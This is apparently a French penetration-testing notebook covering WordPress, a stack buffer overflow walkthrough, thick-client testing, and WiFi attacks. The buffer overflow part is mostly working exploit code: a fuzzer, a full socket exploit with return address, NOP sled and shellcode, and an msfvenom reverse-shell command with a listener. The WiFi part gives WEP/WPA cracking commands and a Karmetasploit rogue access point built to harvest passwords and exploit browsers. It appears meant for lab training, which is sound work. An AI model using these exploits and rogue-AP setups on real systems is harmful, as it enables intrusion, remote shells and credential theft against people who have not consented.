* Plugins

Chercher les exploits sur les plug-ins, le thème, la version de Wordpress

#### Une fois connecté :

Reverse shell :

* Plugin
* Editor

Informations :

* Settings


# Jenkins


# IIS Server


# Buffer-Overflow

## **1. Notions essentielles**

Quand un programme est exécuté, différents éléments (par exemple des variables) sont stockés en mémoire.

Premièrement, l’OS crée des emplacements mémoire ou le programme pourra "tourner". Cet emplacement mémoire inclut les instructions du programme actuel.

Deuxièmement, les informations du programme sont chargées dans l’espace mémoire créé.Il existe trois types de segments dans le programme : .text, .bss et .data.

* Le .text est en lecture seule tandis que le .bss et le .data sont en lecture/écriture.
* Le .data et le .bss sont réservés pour les variables globales.
* Le .data contient les données initialisées.
* Le .bss contient les données non initialisées.lLe .text contient les instructions du programme.

Finalement, la pile (stack) et le heap (partie de la mémoire interne utilisée pour construire ou rejeter dynamiquement des objets de données) sont initialisés.

Stack (LIFO) : la donnée la plus récente placée (push) dans la pile sera la première sortie (pop).

Une LIFO est idéale pour mémoriser des données transitoires ou des informations qui n’ont pas besoin d’être stockées longtemps.

La pile stocke les variables locales, les appels à fonction et d’autres informations utilisées pour nettoyer la pile après qu’une fonction ou procédure ait été appelée.À chaque donnée stockée dans la pile, l’adresse contenue dans le pointeur de pile (ESP) décroît.

La première chose à trouver sur une machine UNIX lors d’une attaque locale est un programme vulnérable, mais cela ne suffit pas. Il faut injecter notre code dans un programme qui est exécuté avec les droits root même s’il est appelé par un utilisateur.

On se retrouvera avec les droits root et on sera en possession d’un shell qui permettra d’exécuter n’importe quelle commande en tant que root.

Comment connaître les programmes avec le SUID root activé ?

```
find / -type f -perm -04000
```

#### **1.2 Un exemple simple pour comprendre**

Pour pouvoir dérouler notre exemple, nous allons devoir désactiver le patch Linux sinon cela ne marchera pas du à la randomization des adresses :

```
# cat /proc/sys/kernel/randomize_va_space 
1 
# echo 0 > /proc/sys/kernel/randomize_va_space 
# 
# cat /proc/sys/kernel/randomize_va_space 
0 
```

Voici un programme très simple qui alloue de la mémoire.

```
#include <stdio.h> 
#include <string.h> 
#include <stdlib.h> 
int vuln(char *arg) 
{ 
    char buffer[512]; 
    strcpy(buffer,arg); 
    return 1; 
} 
int main(int argc, char **argv) 
{ 
if(argc<2)exit(0); 
vuln(argv[1]); 
exit(1); 
}
```

Dans le programme ci-dessus, le buffer a été déclaré avec une taille de 512 octets.

Les sauvegardes des registres sur la pile sont codées sur 4 octets (registres 32 bits).

Les deux arguments de la fonction vuln sont des adresses de buffer, ils sont codés sur 4 octets.

Si nous arrivons à écrire 4 octets de plus que la taille du buffer, alors les 4 octets de EBP seront écrasés.

Si nous arrivons à écrire 4 octets de plus, alors c’est EIP qui sera écrasé.

Si EIP est écrasé par une valeur que nous aurons définie, lors de l’appel à **ret**, c’est cette valeur qui sera extraite de la pile et à laquelle le programme sautera.

Nous risquons d’avoir un écart de 4 octets suivant la version du compilateur.

Compilons d’abord le programme, donnons-lui le droit d’exécution et activons le bit SUID :

```
# gcc -o programme_test programme_test.c
# chmod u+s programme_test
```

![](https://white0x3paper.files.wordpress.com/2020/07/buff_creation.png?w=1024)

Nous allons pouvoir nous attaquer au buffer overflow.

La première chose à tester est la faillibilité de notre programme. Nous allons donc essayer d’injecter un grand nombre d’arguments en lançant notre programme. Si celui-ci est vulénrable, On aura un segment fault en retour.

ASTUCE : Voici ma commande préféré pour rapidement génerer des caractères. Pour écrire, par exemple, un grand nombre de "A" grâce à Python on écrit :

```
python -c 'print "A" * 1000' > BUFF.TXT
```

Sur votre terminal vous devriez voir apparaître 1000 fois le caractère "A" :![](https://white0x3paper.files.wordpress.com/2020/07/python_buffer.png?w=1024)

On lance notre programme avec en paramètre nos 1000 caractère "A" :

```
./premier_test BUFF.txt
```

Notre programme nous renvoie une erreur de segmentation. Il est donc susceptible d'être vulnérable à un, buffer overflow.

Maintenant il faut déterminer exactement pour quel nombre de caractères le programme plante pour pouvoir écraser l’adresse de retour.

Nous allons pour l’instant tester manuellement jusqu’à trouver la taille du buffer. Nous verrons ultérieurement comment automatiser tout ça.

Pour visualiser le contenu de l’adresse de retour, on lance **gdb** sous Linux.

```
$ gdb ./premier_test
(gdb) r 'python -c 'print "A" * 1000''
```

**r** signifie run, non lance le programme avec les 1000 "A" comme arguments.

On peut voir "Segmentation fault" avec une adresse inconnue qui est 0x41414141. Que représente cette adresse ? 41 en hexadécimal représente le A. Donc l’adresse de retour a été remplacée par quatre A. L’adresse de retour a donc bien été écrasée.

```
Program received signal SIGSEGV, Segmentation fault. 
0x41414141 in ?? ()
```

On va essayer, en tâtonnement, de trouver exactement le moment où nous écrasons l’adresse de retour.

```
(gdb) r 'python -c 'print "A" * 200''
(gdb) r 'python -c 'print "A" * 500''
(gdb) r 'python -c 'print "A" * 520''
```

Nous voyons que pour 520 A exactement, nous écrasons l’adresse de retour (EIP).

## **2. Exploitation d'un Buffer Overflow**

#### Prérequis (Avant chaque buffer-overflow que vous ferez) :

**1) Préparer votre environnement :**

* VM Attaque ( Kali Linux/ Parrot, ...)
* [Windows 7](https://www.mes-vms.fr/machine-virtuelle-windows-7-professionnel-sp1-64bits/)
* [FreeFloatFTP installé sur W7](https://www.exploit-db.com/apps/687ef6f72dcbbf5b2506e80a375377fa-freefloatftpserver.zip)
* [Immunity Debugger installé sur W7](https://www.immunityinc.com/products/debugger/)
* [Mona.py](https://github.com/corelan/mona) à mettre dans C:\Programmes\_files\Immunity Inc\Pycommands

**2) Configurer Mona :**

Avant tout on crée un répertoire dédié à Mona :

```
!mona config -set workingfolder c:\mona\%p
```

**3) Télécharger sur votre VM Windows l'exécutable sujet au Buffer-overflow**

**4) Lancez l'exécutable et Immunity Debugger en mode Administarteur**

**5) Appuyer sur le bouton run (à refaire à chaque fois que l'application crash), pour revenir au stade précèdent vous pouvez cliquer sur l'icone << et ensuite cliquer sur run.**

#### 1) Fuzzing

```
import socket, time, sys

ip = "IP"
port = PORT
timeout = 5

buffer = []
counter = 100
while len(buffer) < 30:
    buffer.append("A" * counter)
    counter += 100

for string in buffer:
    try:
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.settimeout(timeout)
        connect = s.connect((ip, port))
        s.recv(1024)
        print("Fuzzing with %s bytes" % len(string))
        s.send("OVERFLOW1 " + string + "\r\n")
        s.recv(1024)
        s.close()
    except:
        print("Could not connect to " + ip + ":" + str(port))
        sys.exit(0)
    time.sleep(1)
```

#### 2) Crash EIP

Nous savons maintenant combien de bytes il nous faut envoyer pour faire crasher l'application. On va donc utiliser metasploit qui va créer un pattern spécial que nous allons utiliser ensuite pour trouver l'offset.

```
msf-pattern-create -l <NUMBER OF BYTES  SEND + 400>
```

Copier le résultat et remplacer le dans la variable overflow="" dans le script exploit.py :

```
import socket

ip = "10.0.0.1"
port = 21

prefix = ""
offset = 146
overflow = "A" * offset
retn = ""
padding = ""
payload = ""
postfix = ""

buffer = prefix + overflow + retn + padding + payload + postfix

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

try:
    s.connect((ip, port))
    print("Sending evil buffer...")
    s.send(buffer + "\r\n")
    print("Done!")
except:
    print("Could not connect.")
```

#### 3) Trouver l'offset

On refait crasher l'application, on va donc maintenant regarder l'adresse de l'EIP et demander à metasploit de nous trouver l'offset grâce au pattern créer précédemment et cette adresse.

```
msf-patter_offset -l   -q EIP_Address
```

On remplace l'offset trouvé dans notre script exploit.py (exemple : offset=146)

#### 4) Vérification de l'overflow de l'EIP

On ajoute 4 "B" après notre overflow de l'EIP et des "C" (BYTES SEND - OFFSET -4 fois la lettre B). Nous faisons cela pour vérifier que nous allons bien overflow l'EIP et que nous allons pouvoir déposer notre shell juste après.

On lance notre programme, on fait crash l'application. La valeur de L'EIP devrait être 42424242 = "BBBB". On a donc bien réussi à overflow l'EIP qui est maintenant rempli de "B".

```
import socket

ip = "10.0.0.1"
port = 21

prefix = ""
offset = 146
overflow = "A" * offset
retn = "B" * 4
padding = ""
payload = "C" * (BYTS SEND - OFFSET -4)
postfix = ""

buffer = prefix + overflow + retn + padding + payload + postfix

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

try:
    s.connect((ip, port))
    print("Sending evil buffer...")
    s.send(buffer + "\r\n")
    print("Done!")
except:
    print("Could not connect.")
```

#### 5) Trouver les Badchars

Certains caractères peuvent faire "changer" le fonctionnement de certaines fonctions, nous allons donc les trouver et les exclure.

Dans Immunity Debugger, on exclu avec Mona, le bit \x00 :

```
!mona bytearray -b "\x00"
```

```
import socket

ip = "10.10.93.223"
port = 1337

prefix = "OVERFLOW1 "
offset = 146
overflow = "A" * offset
badchars = (
  "\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10"
  "\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"
  "\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30"
  "\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
  "\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50"
  "\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60"
  "\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70"
  "\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"
  "\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90"
  "\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0"
  "\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0"
  "\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0"
  "\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0"
  "\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0"
  "\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0"
  "\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"
)
retn = ""
padding = ""
payload = "C" * (BYTES SEND - OFFSET -4)

postfix = ""

buffer = prefix + overflow + retn + padding + payload + postfix

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

try:
    s.connect((ip, port))
    print("Sending evil buffer...")
    s.send(buffer + "\r\n")
    print("Done!")
except:
    print("Could not connect.")

```

On retourne dans Immunty Debugger :

```
!mona compare -f C:\mona\appname\bytearray.bin -a 
```

On note les Badchars trouvés par Mona sous la forme "\x00\x01\x02"...

#### 6) Trouver la fonction JMP

Pour être sur que notre shellcode va s'exécuter après le débordement de notre stack nous allons retourner une adresse qui contient une instruction JUMP (JMP) qui va nous permettre de "sauter" directement à la prochaine instruction.

Dans Immunity Debugger on tape :

```
!mona jmp -r esp -cpb BADCHARS
```

Voici un exemple :

```
!mona jmp -r esp -cpb "\x00\x0a\x0d"
```

Mona vas nous retourner une ou plusieur adresse lié à des fonctions jump. On prend une addresse de function JMP et on la note à l'envers (little endian).

Exemple :

```
0x625011af 
```

deviendras

```
\xaf\x11\x50\x62
```

#### 7) On génère notre reverse\_shell

On n'a plus qu'à générer notre reverse\_shell en excluant bien les badchars avec l'option -b (\x00\x01\x02)

```
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.92 LPORT=53 EXITFUNC=thread -b BADCHARS -f c
```

#### 8) Padding

Pour être sur encore que rien n'empêche notre shellcode de s'exécuter on rajouter ce qu'on appelle un padding. C'est un petit espace juste après notre instruction JUMP (j'aime bien en mettre 32 mais vous pouvez en mettre moins ou un peu plus).

```
padding = "\x90" * 32
```

Pour résumer, on se retrouve avec Exploit.py :

```
import socket

ip = "10.10.93.223"
port = 1337



prefix = "OVERFLOW1 "

offset = 146 #offset trouvé avec msf

overflow = "A" * offset

retn = "\x56\x23\x43\x9A" #l'adresse de retour à une fonction jump.

padding = "\x90" * 32 # un peu de padding

payload = "\xdb\xde\xba\x69\xd7\xe9\xa8\xd9\x74\x24\xf4\x58\x29\xc9\xb1..." # notre shellcode généré par msf

postfix = ""




buffer = prefix + overflow + retn + padding + payload + postfix

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

try:
    s.connect((ip, port))
    print("Sending evil buffer...")
    s.send(buffer + "\r\n")
    print("Done!")
except:
    print("Could not connect.")
```

On lance un listener :

```
nc -lnvp 1234
```

```
python exploit.py
```

Vous devriez récupérer un reverse shell.


# Thick Client Methodology

## Architecture

### &#x20;**-** 2 Tiers :

#### **1) TCP View :**

Très utile pour déterminer l'adresse de destination du client lourd.

#### **2) Wireshark :**

Allumer Wireshark et essayé de vous connecter au client lourd, de tester des fonctionnalités, etc... Filtrer le host avec l'IP trouvée dans TCPView.

* * La connexion à la base de données est-elle chiffrée?
*

```
* Les données sensibles, telles que les numéros de sécurité sociale ou les informations médicales, username ou mot de passe, sont-elles transmises en clair ? Si c'est lisible ça signifie que la connexion à la base de données n'est pas cryptée et que toute personne ayant accès à ce réseau peut lire ces infos.
```

#### **3) Echo Mirage :**

Echo Mirage permet d'intercepter et de modifier le trafic TCP. C'est un espece de BurpSuite pour les clients lourds. Utile pour comprendre comment marche le client lourd. Essez de modifier des paramètres pour voir comment le client réagis.

### - 3 Tiers :

Si un client lourd est construit sur une architecture à trois niveaux, la partie réseau du test sera essentiellement la même que le test d'une application Web.

Beaucoup plus complexe pour proxyfier le tout :

* Proxy-aware : Un client lourd qui a des options ou des paramètres pour se proxyfier dans l'application elle-même.
* Non-proxy-aware : Un client lourd qui n'a pas d'options de paramètres dans l'application elle-même et nécessite une approche de test différente.&#x20;

[Burp Proxy: invisible proxying](https://portswigger.net/burp/documentation/desktop/tools/proxy/options/invisible)

## **BurpSuite :**

L'astuce est de proxyfier tout le système Windows en allant dans les réglages de son PC et en cherchant "proxy".

## Informations Gathering

### **1) Strings :**

Balancez un petit coup de strings sur votre binaire en .exe pour voir si vous trouvez des creds en clairs ou des choses croustillantes.

### **2) CFF explorer :**

Permet de rapidement connaitre la technologie utilisée et donc d'adapter son analyse (.NET différent d'autre assembly par exemple.)

## Attaque coté client

* SQL Injection (probable)
* XXE (probable)
* Error Handling avec fuite d'infos (probable)
* XSS (Peu probable)

## DLL Hijacking

### **1) ProcMon (Process Monitor) :**

Ouvrez Procmon et appliquez ces règles :

* Process Name is "Nom\_client\_lourd.exe"
* Result is "Name not found"
* Path end with ".dll"

  Vous aurez quelque chose qui ressemble à ça :

### **Remplacer la DLL :**

* Il faudra maintenant trouver un chemin sur lequel vous avez les droits d'écriture ( Genre "/AppData" ou "/User/"). Les chemins du type "/System32" ou "/Windows" ne sont pas bons (il faudrais être admin sur la machine pour modifier des fichiers dedans)
* Téléchargez cette DLL non vulnérable :

  [GitHu - carterjones/hello-world-dll: a DLL that will show a MessageBox with the message, "Hello world!"](https://github.com/carterjones/hello-world-dll)
* Remplacer votre DLL manquante par votre DLL en la déplaçant dans le dossier dans lequel vous avez des droits d'écritures et modifiez son nom par le nom de la DLL manquante.
* Rallumez votre client lourd. Si "hello world" pop up alors vous avez une DLL Injection

## Interesting files

### **1) Config files :**

Cherchez dans le meme dossier que votre client lourd un fichier du type : Client\_Lourd.exe.config. Ce fichier peut contenir beaucoup d'informations.

### **2) Les logs :**

Trouvez les logs de votre client lourd et examinez les.

## Analyse du binaire

### **1) GetPE-Security:**

Utilisez ce script Github pour allez plus vite, il vérifiera si l'ASLR est en place ou encore si le strongNaming est activé.

[GitHub - NetSPI/PESecurity: PowerShell module to check if a Windows binary (EXE/DLL) has been compiled with ASLR, DEP, SafeSEH, StrongNaming, and Authenticode.](https://github.com/NetSPI/PESecurity)

### **2) Décompiler le binaire :**

J'utilise dnSpy pour décompiler le binaire et chercher des requêtes SQL vulnérables ou des mot de passe écrit en clair.

## Analyse de la mémoire

### **1) Gestionnaire de taches :**

Ouvrez le gestionnaire de taches, ouvrez la fenêtre en grand, cliquez droit sur votre Client Lourd et créez un fichier de vidage.

### **2) HxD :**

Importez votre fichier de vidage dans HxD et fouillez pour des mots de passes, requêtes spéciales, ou username. Depuis HxD vous pouvez modifier des datas (genre augmenter un compte de 10k a 200k). Ecrasez la mémoire pour valider. Si cela marche alors vulnérable.

## Les vulnérabilités critiques les plus répandues :

1. Credentials en clairs
2. Clefs d'api en clairs
3. Sel de mdp en clairs
4. Pas de chiffrement dans la transmission
5. Injection SQL
6. Bypass d'autorisation
7. XXE
8. Manipulation de requêtes SQL
9. Changement des méthodes de chiffrements


# WIFI

### **1. Cracker un réseau WEP**

Aircrack est la suite qui permet de craquer les réseaux Wi-Fi.

Installation sous Debian de aircrack-ng :

```
udo apt install aircrack-ng
```

#### **a. Capturer des paquets**

Afin de cracker la clé WEP, on va devoir capturer suffisamment de paquets.

Pour connaître le nom de votre interface, utilisons la commande ifconfig :

```
airodump-ng --write capture1 wlan0
```

**Airodump** vous permet de capturer les paquets Wi-Fi.

Afin d’optimiser au maximum la capture, on peut spécifier un canal, via l’option --channel, l’adresse MAC de la borne Wi-Fi : --bssid.

#### **b. Générer du trafic**

Pour cracker la clé, il faut énormément de paquets, 400 000 au moins pour une WEP 64 et 1 200 000 au moins pour une WEP 128. S’il n’y a personne sur le réseau, cela peut prendre des semaines.

On va devoir injecter du trafic pour arriver à récupéré assez de requete (cette opération est optionnelle, mais permet d’accélérer le process s’il n’y a pas ou très peu de trafic).

Votre carte doit donc accepter le mode injection, vous pouvez voir la liste de compatibilité sur le site d’aircrack : [http://www.aircrack-ng.org](http://www.aircrack-ng.org/)

Aireplay permet d’effectuer plusieurs attaques :

* -0 : dé authentification, déconnecte les clients
* -1 : fausse authentification
* -2 : réinjection de paquet
* -3 : injection de requête ARP
* -4 : attaque ChopChop
* -5 : attaque par fragmentation
* -6 : Caffe Latte
* -7 : Cfrag
* -z : PTW attack

Dans un premier temps, on va générer une fausse authentification :

```
aireplay-ng -1 0 -e ACISSI -a 00:11:22:33:44:55 -h 00:00:00:00:00:01 wlan0
```

&#x20;On va générer une attaque de type injection de requête ARP :

```
aireplay-ng -3 -e ACISSI -b 00:11:22:33:44:55 -h 00:00:00:00:00:01 wlan0
```

Dès qu’Aireplay injectera des paquets, on va pouvoir voir une nette augmentation dans Airodump.

#### **c. Trouver la clé**

&#x20;Lançons Aircrack via la commande :

```
aircrack-ng capture1.cap
```

Si Aircrack ne trouve pas la clé, il faut capturer plus de paquets puis relancer Aircrack.

Si le filtrage MAC est activé, il suffit d’installer **macchanger**, via la commande :

```
apt-get install macchanger
```

Pour changer votre adresse MAC :

```
macchanger -m 00:00:00:00:00:01 wlan0
```

> <https://github.com/Zeckers/LeDicoDuGreyHat/blob/master/Programme/MacChanger/MacChanger.pyVous> pouvez aussi utilisé mon programme en python qui change aléatoirement votre adresse MAC

### **2. Cracker un réseau WPA**

Avant de vous expliquer comment tout cela marche voici un outils qui permet de faire toutes les étapes que je vais vous présenter automatiquement :

> <https://github.com/v1s1t0r1sh3r3/airgeddon>

Le crack WPA est bien moins avancé que le WEP. Cependant, il est possible de casser un mot de passe en utilisant un dictionnaire.

Nous allons utiliser **pyrit**, un programme en Python qui a le mérite de pouvoir être utilisé en cluster et permet aussi d’utiliser la puissance des GPU.

Téléchargeons les sources de pyrit via svn :

```
svn checkout http://pyrit.googlecode.com/svn/trunk/ pyrit
```

Puis les outils pour la compilation :

```
sudo apt-get install libssl-dev python python-dev
```

Compilons et installons pyrit :

```
python setup.py build 
sudo python setup.py install
```

Nous allons commencer par importer la liste de clés candidates dans une base de données pyrit :

```
pyrit -i dict.gz import_passwords
```

Nous allons maintenant importer les différents ESSID, par exemple l’ESSID linksys :

```
pyrit -e linksys create_essid
```

La commande suivante combine les mots de passe avec les différents ESSID afin de générer des PMK candidats :

```
pyrit batch
```

Cette procédure est la plus longue, en effet elle génère les différents PMK par produit cartésien (clé, ESSID).

Procédons à une capture avec airodump afin de récupérer un fichier .cap :

```
airodump-ng --write wpapskcapture.cap wlan0.
```

Il ne reste plus qu’à cracker :

```
pyrit -r wpapskcapture.cap attack_db
```

***Il est aussi possible d'utiliser uniquement airodump et de capturer le handshake et ensuite de lancer un logiciel de cassage de mot de passe dessus sans utiliser pyrit.***

### **3. Rogue AP**

#### **a. Introduction au Rogue AP**

S’il est complexe de cracker une clé WPA, il est déjà bien plus simple de profiter de la nouvelle vague de rogue Access Point afin d’en créer un.

Les **AP** sont des routeurs Wi-Fi permettant aux utilisateurs de disposer d’une connexion Internet. On les trouve donc partout, dans la plupart des fastfoods, les universités, les parcs et autres. Ce sont des wifi publics.

Un AP n’a pas de clé WEP ou WPA et la majorité des utilisateurs tentent de s’y connecter pour accéder à Internet gratuitement.

Les rogues AP sont donc des faux « routeurs Wi-Fi », en général hotspot, qui récupéreront un maximum de mots de passe et si possible tenteront d’installer une backdoor sur les ordinateurs.

Comme il est possible de voir les clients connectés via la suite aicrack mais aussi d’authentifier un client, il est possible de les rediriger vers le Rogue AP.

#### **b. Mise en pratique d’un Rogue AP avec Karmetasploit**

Nous avons dans un premier temps besoin d’installer un serveur DHCP qui permettra de configurer automatiquement les IP des clients comme un vrai routeur Wi-Fi.

```
apt-get install dhcp3-server
```

Voici la configuration du serveur DHCP : /etc/dhcp3/dhcpd.conf

```
     option T150 code 150 = string; 
     deny client-updates; 
     one-lease-per-client false; 
     allow bootp; 
     ddns-updates off; 
     ddns-update-style interim; 
     authoritative; 
 
     subnet 10.0.0.0 netmask 255.255.255.0 { 
     interface at0; 
     range 10.0.0.100 10.0.0.254; 
     option routers 10.0.0.1; 
     option subnet-mask 255.255.255.0; 
     option domain-name-servers 10.0.0.1; 
     allow unknown-clients; 
     }
```

On passe l’interface Wi-Fi en mode moniteur :

```
airmon-ng start wlan0
```

Nous allons maintenant créer le hotspot :

```
airbase-ng -P -C 30 -e "Hotspot WiFi" -v mon0
```

-e est l’ESSID du réseau, il est possible de personnaliser le canal Wi-Fi, et même l’adresse MAC de l’AP.

Il faut maintenant configurer une adresse IP fixe pour notre AP.

```
ifconfig at0 up 10.0.0.1 netmask 255.255.255.0
```

Nous pouvons dès à présent démarrer le serveur DHCP.

```
/etc/init.d/dhcp3-server restart
```

Nous avons jusqu’ici créé un AP fonctionnel qui permet de surfer sur le Net. Nous allons maintenant créer la partie *rogue*.

Pour ce faire, nous allons utiliser Karmetasploit qui est en fait l’association de Karma et Metasploit.

Récupérons la dernière version de Metasploit via la commande :

```
svn co http://metasploit.com/svn/framework3/trunk msf3
```

Téléchargeons karma.rc.

```
wget http://digitaloffense.net/tools/karma.rc
```

Il ne reste plus qu’à lancer Karmetasploit :

```
./msfconsole -r karma.rc
```

Utilisons un de vos PC pour vous connecter sur votre Rogue AP. Une fois connecté, allez sur internet.

La Rogue AP dans cette configuration cherchera à infecter votre machine via autoPWN, un serveur HTTP qui va tenter un exploit sur votre navigateur Web. Karmetasploit est aussi configuré pour récupérer les mots de passe POP, FTP, HTTP.

Tout ce qui se passe est enregistré dans un fichier cap, analysable par la suite via Wireshark, mais aussi dans la base de données SQLite karma.db.

### **3. Autre Rogue AP :**

WIFI-PUMPKIN : LE MEILLEUR OUTIL DE ROGUE AP


# ZIGBEE




---

[Next Page](/llms-full.txt/1)

